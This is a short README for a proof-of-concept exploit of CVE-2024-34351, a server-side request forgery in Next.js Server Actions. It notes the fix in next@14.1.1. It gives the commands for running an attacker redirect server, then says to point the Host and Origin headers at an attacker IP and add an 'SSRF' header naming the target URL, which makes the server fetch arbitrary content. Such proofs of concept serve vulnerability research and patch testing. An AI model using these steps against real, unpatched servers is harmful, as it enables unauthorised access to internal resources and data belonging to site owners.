- CVE-2024-34351 PoC
- Next.js Server-Side Request Forgery in Server Actions · CVE-2024-34351 · GitHub Advisory Database
- Digging for SSRF in NextJS apps
PoC for a full exploitation of NextJS SSRF. An attacker can get any website content from Next.js server using CVE-2024-34351 vulnerability.
This vulnerability is fixed in next@14.1.1.
- Prepare a redirect server.
- TypeScript
deno run --allow-net --allow-read attacker-server.ts - Python
python3 attacker-server.py
- TypeScript
- Modify
Hostheader to attacker server. (e.g. Host: 192.198.0.144:8000) - Modify
Originheader to attacker server. (e.g. Origin: http://192.198.0.144:8000/) - Add a new header called
SSRFto specify where to redirect to. (e.g. SSRF: http://example.com/test)